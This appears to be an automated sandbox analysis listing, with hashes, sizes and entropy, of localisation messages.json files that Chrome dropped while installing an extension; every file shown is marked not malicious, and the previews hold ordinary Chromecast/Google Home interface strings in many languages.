SSDEEP:	384:S0rDuhLh41cZrP3TzDBknbpgo6djIV6uml:S0fuBh46ZD3TzDinbpgoUK6uml
MD5:	40EB778339005A24FF9DA775D56E02B7
SHA1:	B00561CC7020F7FE717B5F692884253C689A7C61
SHA-256:	F56BF7C171AA20038EE30B754478B69A98F3014C89362779B0A8788C7B9BEEE1
SHA-512:	8BED281A33EC1E4E88A9F9D62BB13FE0266C0FAF8856D1DC2A843D26DD3CE5E7D1400FD3325ABD783B0364EC4FB1188AD941D56AEB9073BC365BE0D12DE6C013
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".......".. },.. "1213957982723875920": {.. "message": ".... ... .. ........ .......... ........ .. ...... ...;".. },.. "128276876460319075": {.. "message": ".......... ........".. },.. "1428448869078126731": {.. "message": "......... ......".. },.. "1522140683318860351": {.. "message": "........ ......... ......... .....".. },.. "1550904064710828958": {.. "message": ".....".. },.. "1636686747687494376": {.. "message": "......".. },.. "1802762746589457177": {.. "message": "...... ....".. },.. "1850397500312020388": {.. "message": "........ .. ..... .. Chromecast .... $START_LINK$........ Google Home$END_LINK$; $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\en\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	14897
Entropy (8bit):	5.197356586852831
Encrypted:	false
SSDEEP:	96:2MKUOp5N7GTNMRuv6M0bIt3FXGkW6/5NkkQ9NJKJhnH3t9F410sUA+ISN6cGDSyR:VKzprogudTGkWqrKcJhdIR+V6c8TEKdl
MD5:	8351AF4EA9BDD9C09019BC85D25B0016
SHA1:	F6EC1FFD291C8632758E01C9EE837B1AD18D4DCF
SHA-256:	F41C82D8A4F0E9B645656D630C882BE94A0FB7F8CEC0FE864B57298F0312B212
SHA-512:	75672B57F21F38F97341AD76A199AD764E9FBAB2384D701BF6EB06CEFDE6C4F20F047F9051A4E30D99621E5C1FBBDB9E38E8D2B47470806704B38DA130A146CF
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Freezes".. },.. "1213957982723875920": {.. "message": "Which of the following best describes your network?".. },.. "128276876460319075": {.. "message": "Device Discovery".. },.. "1428448869078126731": {.. "message": "Video Smoothness".. },.. "1522140683318860351": {.. "message": "Connection failed. Please try again.".. },.. "1550904064710828958": {.. "message": "Smooth".. },.. "1636686747687494376": {.. "message": "Perfect".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Are you able to see your Chromecast in the $START_LINK$ Google Home app$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.. "START

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\es\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15560
Entropy (8bit):	5.236752363299121
Encrypted:	false
SSDEEP:	192:NAgprfy1pTCukFr+1DIyDRoanvV6c8TEKdl:KMrq6FrmvV6uml
MD5:	8A70C18BB1090AA4D500DE9E8E4A00EF
SHA1:	8AFC097FA956C1317DB0835348B2DA19F0789669
SHA-256:	FF173D1CEF665B1234E02F11070ABD2B65230318150734579A03C7F31B4AE3F4
SHA-512:	140BAF40A4ABE9B8AF0855B0EBB7DFDF17869EDFC4EE1037C5EA7FDD8EDEBD4850E055B6A4D7B8782657618BCE1517813779BA01BA993CC838BB43E0BE71EEEE
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Congelaci.n de im.genes".. },.. "1213957982723875920": {.. "message": ".Cu.l de las siguientes respuestas describe mejor tu red?".. },.. "128276876460319075": {.. "message": "Detecci.n de dispositivo".. },.. "1428448869078126731": {.. "message": "Fluidez del v.deo".. },.. "1522140683318860351": {.. "message": "Error en la conexi.n. Vuelve a intentarlo.".. },.. "1550904064710828958": {.. "message": "V.deo fluido".. },.. "1636686747687494376": {.. "message": "Perfecta".. },.. "1802762746589457177": {.. "message": "Volumen".. },.. "1850397500312020388": {.. "message": ".Puedes ver tu Chromecast en la $START_LINK$aplicaci.n Google.Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\et\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15139
Entropy (8bit):	5.228213017029721
Encrypted:	false
SSDEEP:	96:Z48bxhWYp5Ny5M63niwAKD4rrJSJ2RkPXh9P5NFP2+NBMU01jewUEVez3QOiSevy:ikxprot3lYkf/rHBc0KsUV6c8TEKdl
MD5:	A62F12BCBA6D2C579212CA2FF90F8266
SHA1:	F7E964A2D9BBDA364252BCE5CFBA3FD34FDD825E
SHA-256:	3EB3EB0B3B4A8E5A477D1B3C3A3891CCC7DC6B8879ECE243A7BD7C478068273D
SHA-512:	E300201245C00ADEC8F39D586875F8FA4607AB203572BF3CE353C1CA7CDCA05B8786810CA0CEE27E4EA54A5EFD53690F1EA7AA4148CFF472A66BB11202723566
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Hangub".. },.. "1213957982723875920": {.. "message": "Milline j.rgmistest v.idetest kirjeldab k.ige paremini teie v.rku?".. },.. "128276876460319075": {.. "message": "Seadme tuvastamine".. },.. "1428448869078126731": {.. "message": "Video sujuvus".. },.. "1522140683318860351": {.. "message": ".hendamine eba.nnestus. Proovige uuesti.".. },.. "1550904064710828958": {.. "message": ".htlane".. },.. "1636686747687494376": {.. "message": "T.iuslik".. },.. "1802762746589457177": {.. "message": "Helitugevus".. },.. "1850397500312020388": {.. "message": "Kas n.ete oma Chromecasti $START_LINK$rakenduses Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\fa\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17004
Entropy (8bit):	5.485874780010479
Encrypted:	false
SSDEEP:	192:rngaIprIX/t9wkjTJrs3hqaXxRQdiIMDnD+LhfHdoltV6c8TEKdl:4rin5rU1X7Qd0M9CtV6uml
MD5:	852BD3CFF960F1BC3A2AAB3CB3874EF9
SHA1:	C9F6F3C776542889FE3B67971D65ACFE048A3A0A
SHA-256:	D87597B6C10364501B98AA42524843F109009CCEF022D8E0170440D7F144F4C6
SHA-512:	2A7AE4D70E33E53EE31831CE2E61DD8DF103C4170EC483BDA14B8788E5DD536EEE84DBA340CACBDF16889C7E6465B48D82C4714E746E8A7B372D12CBDF371C95
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".... ... .......".. },.. "1213957982723875920": {.. "message": ".... .. .. ..... ... .... ... .. .. ...... ... ..... .......".. },.. "128276876460319075": {.. "message": "..... ......".. },.. "1428448869078126731": {.. "message": "..... .....".. },.. "1522140683318860351": {.. "message": "..... ...... .... ..... ...... ...... .....".. },.. "1550904064710828958": {.. "message": "....".. },.. "1636686747687494376": {.. "message": "....".. },.. "1802762746589457177": {.. "message": "..... ...".. },.. "1850397500312020388": {.. "message": ".... ......... Chromecast ... .. .. $START_LINK$ ...... Google Home$END_LINK$ ....... $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\fi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15268
Entropy (8bit):	5.268402902466895
Encrypted:	false
SSDEEP:	192:efMprYXiYUNpj5Coik1tXxrUhvUzSPWV6c8TEKdl:eIrjbjosdrU5WV6uml
MD5:	3902581B6170D0CEA9B1ECF6CC82D669
SHA1:	C8208AC2B1DD6D4F8BDAAE01C8BD71FFFA5A732B
SHA-256:	D2A8180225A83A423BB6E17343DFA8F636D517154944002ED9240411B8C0C5E1
SHA-512:	612FDD8A3C5051F0A4F1E11E50B5D124B337C77D62D987D35C2AF9E08AFC6AFCEBAEE8D40FDFBCD1E1889F39758B96FAECBF6C6D1CF146C741A5261952050221
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Pys.htyy".. },.. "1213957982723875920": {.. "message": "Mik. seuraavista kuvaa parhaiten verkkoasi?".. },.. "128276876460319075": {.. "message": "Laitteiden tunnistaminen".. },.. "1428448869078126731": {.. "message": "Videon tasaisuus".. },.. "1522140683318860351": {.. "message": "Yhteys ep.onnistui. Yrit. uudelleen.".. },.. "1550904064710828958": {.. "message": "Tasainen".. },.. "1636686747687494376": {.. "message": "T.ydellinen".. },.. "1802762746589457177": {.. "message": "..nenvoimakkuus".. },.. "1850397500312020388": {.. "message": "N.etk. Chromecastisi $START_LINK$Google Home .sovelluksessa$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\fil\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15570
Entropy (8bit):	5.1924418176212646
Encrypted:	false
SSDEEP:	192:+esprzAsQp68wIJYkMyr2k0jR1/7Rr1uV6c8TEKdl:Gr78JDMyrR0tJuV6uml
MD5:	59483AD798347B291363327D446FA107
SHA1:	C069F29BB68FA7BA2631B0BF5BBF313346AC6736
SHA-256:	DD47530EAE96346CD4DC3267A0BB1091BB17B704803A93CDA2E3E81551B94F12
SHA-512:	091595CA135E965ED3DE376873541117F0E7A8EBDEB4714833EFDD6C820234373891BE5DEC437BA85CCB79CCCA053D407E6ADA17EBDAE7D313324A48775C0010
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Hindi gumagalaw".. },.. "1213957982723875920": {.. "message": "Alin sa sumusunod ang pinakamahusay na naglalarawan sa iyong network?".. },.. "128276876460319075": {.. "message": "Pagtuklas ng Device".. },.. "1428448869078126731": {.. "message": "Pagka-smooth ng Video".. },.. "1522140683318860351": {.. "message": "Hindi nakakonekta. Pakisubukang muli.".. },.. "1550904064710828958": {.. "message": "Smooth".. },.. "1636686747687494376": {.. "message": "Perpekto".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Nakikita mo ba ang iyong Chromecast sa $START_LINK$ Google Home app$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\fr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15826
Entropy (8bit):	5.277877116547859
Encrypted:	false
SSDEEP:	192:nLZprAZg3EkV3sjrICe8L/1Va7lt1rlxLAkoYHHavV6c8TEKdl:vrW+2jrI7TdLAk3MV6uml
MD5:	9B416146FE4F1403C2AACAC4DCF1A5C3
SHA1:	616F055C9FAD4CE972DF82EC8A9B2F4EDA3E7FAD
SHA-256:	7C7F5758F54008190ACCDDBD1761CBD980FB5FE0847E992874498228D2571DBC
SHA-512:	6E8E70380A8C6E2C0587ADFF6AE36963EC76694904841CE1DFE4EEE215B917AD3E8AF727555627FBDF6B8BA6A4A0674D2B90AC4E9331B6628A32F4C4348FB51B
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Se fige".. },.. "1213957982723875920": {.. "message": "Parmi les propositions suivantes, laquelle d.crit le mieux votre r.seau.?".. },.. "128276876460319075": {.. "message": "D.tection d'appareils".. },.. "1428448869078126731": {.. "message": "Fluidit. de la vid.o".. },.. "1522140683318860351": {.. "message": ".chec de la connexion. Veuillez r.essayer.".. },.. "1550904064710828958": {.. "message": "Fluide".. },.. "1636686747687494376": {.. "message": "Parfaite".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Votre Chromecast est-il visible dans l'$START_LINK$application Google.Home$END_LINK$.? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\gu\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	19255
Entropy (8bit):	5.32628732852814
Encrypted:	false
SSDEEP:	384:Hq2Mr+qPlJKYMdzKgXr3dGsGF+yAK37Wf7Cy/V6uml:KxzTVgX7ykj6uml
MD5:	68B03519786F71A426BAC24DECA2DD52
SHA1:	B8E6608932EC5CEC4BC3C5475BFC3E312D2E2E7D
SHA-256:	C77A4D27E9E6CA25B9290056D93A656E3EBE975957E4C2EE9F0FB11B133D5CD4
SHA-512:	5FFE06A10774877AF25E05BA07F3032CC52F874896D67E320F4EF9D524A22E40B462CC6206700E9557EB354FA2730172DC6912EBCA49C671FB0EF155B17F9EFF
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".....".. },.. "1213957982723875920": {.. "message": "........... .... ..... .......... ....... ..... ... ..?".. },.. "128276876460319075": {.. "message": "..... ...".. },.. "1428448869078126731": {.. "message": "........ ......".. },.. "1522140683318860351": {.. "message": "....... ...... ..... .... ..... ..... ...... ....".. },.. "1550904064710828958": {.. "message": "....".. },.. "1636686747687494376": {.. "message": ".....".. },.. "1802762746589457177": {.. "message": ".......".. },.. "1850397500312020388": {.. "message": "... ... $START_LINK$ Google Home ..$END_LINK$... Chromecast..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\hi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	19381
Entropy (8bit):	5.328912995891658
Encrypted:	false
SSDEEP:	384:zrGrSmhKy7KyY+bNEDqlQdrMEPxtShJV6uml:zBqG6QdwEPrW6uml
MD5:	20C86E04B1833EA7F21C07361061420A
SHA1:	617C0D70E162CF380005E9780B61F650B7A39F9B
SHA-256:	C2C27CA242DBDE600BA3AA7782156BC2B190A64D8A1B51EDC8007BDECA139553
SHA-512:	9FB91AA8E0226519E298B1136E8A1A3C1879DB7F0E6052AF1BFD55921CD698346278D04602510680A9695A76DD5C96D9665380580044C50D81392BB2CB3E8E95
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".....".. },.. "1213957982723875920": {.. "message": "..... ... .. ... .... ....... .. .... ..... ..... .... ..?".. },.. "128276876460319075": {.. "message": "...... ...".. },.. "1428448869078126731": {.. "message": "...... .........".. },.. "1522140683318860351": {.. "message": "....... ..... ..... .... ...... .....".. },.. "1550904064710828958": {.. "message": ".......".. },.. "1636686747687494376": {.. "message": ".....".. },.. "1802762746589457177": {.. "message": ".....".. },.. "1850397500312020388": {.. "message": ".... .. $START_LINK$ Google Home .........$END_LINK$ ... .... Ch

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\hr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15507
Entropy (8bit):	5.290847699527565
Encrypted:	false
SSDEEP:	192:Pdapr6h85tRwVQgkvJryLkla5Kfndg/V6c8TEKdl:Arwot2Q7BryVce/V6uml
MD5:	3ED90E66789927D80B42346BB431431E
SHA1:	2B061E3271DF4255B1FFC47BDB207CDEC0D9724F
SHA-256:	0B41E3C42414F72C9A12C05F8772597F9685115366A774C66018467AD4B71A74
SHA-512:	92BE43F1FFC8EFBF5BBC50573AC4C65F6104416A5B6CD04404C3A9854CA3DCF2A43A4044C168590CDF83887D234495843572331ADCD5B020D2E48A3956F3C164
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Zamrzavanje".. },.. "1213957982723875920": {.. "message": "Koje od sljede.eg najbolje opisuje va.u mre.u?".. },.. "128276876460319075": {.. "message": "Otkrivanje ure.aja".. },.. "1428448869078126731": {.. "message": "Ujedna.enost videoreprodukcije".. },.. "1522140683318860351": {.. "message": "Povezivanje nije uspjelo. Poku.ajte ponovo.".. },.. "1550904064710828958": {.. "message": "Glatko".. },.. "1636686747687494376": {.. "message": "Savr.ena".. },.. "1802762746589457177": {.. "message": "Glasno.a".. },.. "1850397500312020388": {.. "message": "Vidite li svoj Chromecast u $START_LINK$aplikaciji Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\hu\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15682
Entropy (8bit):	5.354505633120392
Encrypted:	false
SSDEEP:	192:CCEAproS9fZv+JwkDMrC2NSxoSgbV6c8TEKdl:5r5VZv+RDMrazoV6uml
MD5:	8E9FF7E49473C5734A2F6F0812E12EB3
SHA1:	A4F10DDD1580582533D5EB59EDF6D8048F887C81
SHA-256:	6CDD2FB39ADECE00E88B989E464B05ED1414092D0492F6D0AE58D549BFD1A46A
SHA-512:	E9A4AF31B1A276F395599BB620A3164CABF3459F3C102DD3F57DFEA734510BD985DE65CB409E1975559ACCC615075439A08E1DEBE22C90A0ABCAA3CAFEE79AC7
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Lefagy".. },.. "1213957982723875920": {.. "message": "Az al.bbiak k.z.l melyik jellemzi legjobban h.l.zat.t?".. },.. "128276876460319075": {.. "message": "Eszk.zfelfedez.s".. },.. "1428448869078126731": {.. "message": "Vide. folyamatoss.ga".. },.. "1522140683318860351": {.. "message": "Sikertelen kapcsol.d.s. K.rj.k, pr.b.lja .jra.".. },.. "1550904064710828958": {.. "message": "Folyamatos".. },.. "1636686747687494376": {.. "message": "T.k.letes".. },.. "1802762746589457177": {.. "message": "Hanger.".. },.. "1850397500312020388": {.. "message": "L.tja a Chromecastot a $START_LINK$Google Home alkalmaz.sban$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content":

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\id\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15070
Entropy (8bit):	5.190057470347349
Encrypted:	false
SSDEEP:	192:GsprMtChjkWfrEWL0KRCnEOWV6c8TEKdl:9rtAEr3LTRuWV6uml
MD5:	7ADF9F2048944821F93879336EB61A78
SHA1:	C3DA74FB544684D5B250767BB0CB66FFB7C58963
SHA-256:	3630947E1075E3663AD3E4824D0BE42CB47C0D615D8053E83B9595047C8BA9BE
SHA-512:	1F28BB80E1839C5581106BEA3AE2501C7618249D7E3115819F5A9A87771D59F5DE346C1B9C87F7FFC390604D5B9888CE738E25F2F04A094002A0FB3B22CBEC95
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Membeku".. },.. "1213957982723875920": {.. "message": "Dari berikut ini, manakah yang paling mendeskripsikan jaringan Anda?".. },.. "128276876460319075": {.. "message": "Penemuan Perangkat".. },.. "1428448869078126731": {.. "message": "Kelancaran Video".. },.. "1522140683318860351": {.. "message": "Sambungan gagal. Coba lagi.".. },.. "1550904064710828958": {.. "message": "Lancar".. },.. "1636686747687494376": {.. "message": "Sempurna".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Bisakah Anda melihat Chromecast di $START_LINK$aplikasi Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\it\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15256
Entropy (8bit):	5.210663765771143
Encrypted:	false
SSDEEP:	192:lYprk52dAaykVza8rE0QWBKD9+vq0hKEV6c8TEKdl:qrlA8r6DalV6uml
MD5:	BB3041A2B485B900F623E57459AE698A
SHA1:	502F5EA89F9FB0287E864B240EA39889D72053A4
SHA-256:	025737EF8FA06706B3F26D0F52B4844244A6D33DAE1D82FEF2931A14C003D57E
SHA-512:	BA51784073BEF82F3A116B33DA406FDB10EC823B9EE74375C46036DAD8BDCB4141F60845DE141ABE42CEEF9251572F6AB287CA5FC7669C60E4F68071D5AB8C2D
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Si blocca".. },.. "1213957982723875920": {.. "message": "Quale delle seguenti definizioni descrive meglio la tua rete?".. },.. "128276876460319075": {.. "message": "Rilevamento dispositivi".. },.. "1428448869078126731": {.. "message": "Uniformit. video".. },.. "1522140683318860351": {.. "message": "Connessione non riuscita. Riprova.".. },.. "1550904064710828958": {.. "message": "Fluido".. },.. "1636686747687494376": {.. "message": "Perfetta".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Riesci a vedere il tuo dispositivo Chromecast nell'$START_LINK$app Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\iw\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	18990
Entropy (8bit):	4.903564947699091
Encrypted:	false
SSDEEP:	192:xkQ0XrEGOhGUkT/Mf8eZrNj27tS+iiUfOkGEyWiycLSK8eL+D75J4X:KdrgGvDMEeZrM78fQVLZqDA
MD5:	A991BEF47A83913A1E0EF06007D09198
SHA1:	80BA1E8FC3E9BE8A34F73E78CED8313E54F9CC96
SHA-256:	0F95D8BF550F14B2B704CE42911F5BD23FA9FE28D0D301F66628848B27C760CB
SHA-512:	1B5C8196669088A884FD8E117E7EB0870B296AF493004F948D0AD4FF630B07A34F423647E55856307029B2B06CDCCEAED2F9C43B426200D28D8A19A48CEA5D42
Malicious:	false
Reputation:	low
Preview:	{"1018984561488520517": {"message": "\u05e7\u05d5\u05e4\u05d0"}, "1213957982723875920": {"message": "\u05d0\u05d9\u05d6\u05d4 \u05de\u05d4\u05de\u05e9\u05e4\u05d8\u05d9\u05dd \u05d4\u05d1\u05d0\u05d9\u05dd \u05de\u05ea\u05d0\u05e8 \u05d0\u05ea \u05d4\u05e8\u05e9\u05ea \u05e9\u05dc\u05da \u05d1\u05e6\u05d5\u05e8\u05d4 \u05d4\u05d8\u05d5\u05d1\u05d4 \u05d1\u05d9\u05d5\u05ea\u05e8?"}, "128276876460319075": {"message": "\u05d2\u05d9\u05dc\u05d5\u05d9 \u05de\u05db\u05e9\u05d9\u05e8\u05d9\u05dd"}, "1428448869078126731": {"message": "\u05d0\u05d9\u05db\u05d5\u05ea \u05d4\u05e2\u05d1\u05e8\u05ea \u05d4\u05d5\u05d5\u05d9\u05d3\u05d0\u05d5"}, "1522140683318860351": {"message": "\u05d4\u05d7\u05d9\u05d1\u05d5\u05e8 \u05e0\u05db\u05e9\u05dc. \u05e0\u05e1\u05d4 \u05e9\u05d5\u05d1."}, "1550904064710828958": {"message": "\u05d7\u05dc\u05e7"}, "1636686747687494376": {"message": "\u05de\u05e2\u05d5\u05dc\u05d4"}, "1802762746589457177": {"message": "\u05e2\u05d5\u05e6\u05de\u05ea \u05e7\u05d5\u05dc"}, "

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ja\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	16519
Entropy (8bit):	5.675556017051063
Encrypted:	false
SSDEEP:	192:nkprPhQdxkRWrZe1wYpMR5wnAV6c8TEKdl:YrLRWri65wAV6uml
MD5:	6F2CC1A6B258DF45F519BA24149FABDC
SHA1:	8A58C7880C6D22765DCBB6BCE22A192C1B109AE1
SHA-256:	42ECFEE727CFC4F2845FEFDACE5EDC2E0A40AFAD69973A3B950CE653A7633342
SHA-512:	F7454F0E14301C59CC54361ACC0A1C6D072EF9BDF5DEA60646FB90B1CE47612785938C784A4CF1DE3E62648A14420374933B5F5DA43907BC00D3799FF163A3D0
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "...".. },.. "1213957982723875920": {.. "message": "................................".. },.. "128276876460319075": {.. "message": "......".. },.. "1428448869078126731": {.. "message": ".......".. },.. "1522140683318860351": {.. "message": ".......................".. },.. "1550904064710828958": {.. "message": "...".. },.. "1636686747687494376": {.. "message": "....".. },.. "1802762746589457177": {.. "message": "..".. },.. "1850397500312020388": {.. "message": "$START_LINK$Google Home ...$END_LINK$. Chromecast .........$START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\kn\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	20406
Entropy (8bit):	5.312117131662377
Encrypted:	false
SSDEEP:	384:a6C5rBSzvrZreGnla9ZBHRUDYr9yRwEcAa4rSeD5BSz0hJz8qbbM3gbr//Hkr44c:a6C5rBSzvFreGnla9ZBHRUDYr9yRwEcC
MD5:	2E3239FC277287810BC88D93A6691B09
SHA1:	FC5D585DA00ADC90BF79109C7377BD55E6653569
SHA-256:	5FC705AD19761204D8604EA069936A23731B055D51E7836CAAF16AC7719FBEEA
SHA-512:	DF8BC9E577D3ECB0E6C303E1D2C9E9A4A8317CAE810A9DFC88D91B373A4B665722C5A9AB5A589BB947FDA4C7CD9A6DF39DDD13EA47FE9EFF7E0AC43E49FF3479
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "....... .........".. },.. "1213957982723875920": {.. "message": "...... ...... ..... ........... ..... ......... ............?".. },.. "128276876460319075": {.. "message": "..... ........".. },.. "1428448869078126731": {.. "message": "........ .......".. },.. "1522140683318860351": {.. "message": "...... ........... ........ ..... ...........".. },.. "1550904064710828958": {.. "message": ".....".. },.. "1636686747687494376": {.. "message": ".....".. },.. "1802762746589457177": {.. "message": "........".. },.. "1850397500312020388": {.. "message": ".... $

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ko\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	15480
Entropy (8bit):	5.617756574352461
Encrypted:	false
SSDEEP:	192:kWprGvSQtkxWffrnl5JuFBWVZV6c8TEKdl:TrkuxKfrlT4YVZV6uml
MD5:	E303CD63AD00EB3154431DED78E871C4
SHA1:	3B1E5B8E2CF5EBDF5D33656EF80A46563F751783
SHA-256:	FDE602BFDB1AFD282682DA5338C4F91D8A2F6CB5411DB8F62F4583D629CE67A6
SHA-512:	18BA1D5A25FBC1829AD957A531B0CC490AFCBD20AC22181021363AA3CFB916270B8732E824463C9B0897220E8AE86EB1BE561D6540E6C625F08F228F61DDFFA3
Malicious:	false
Reputation:	low
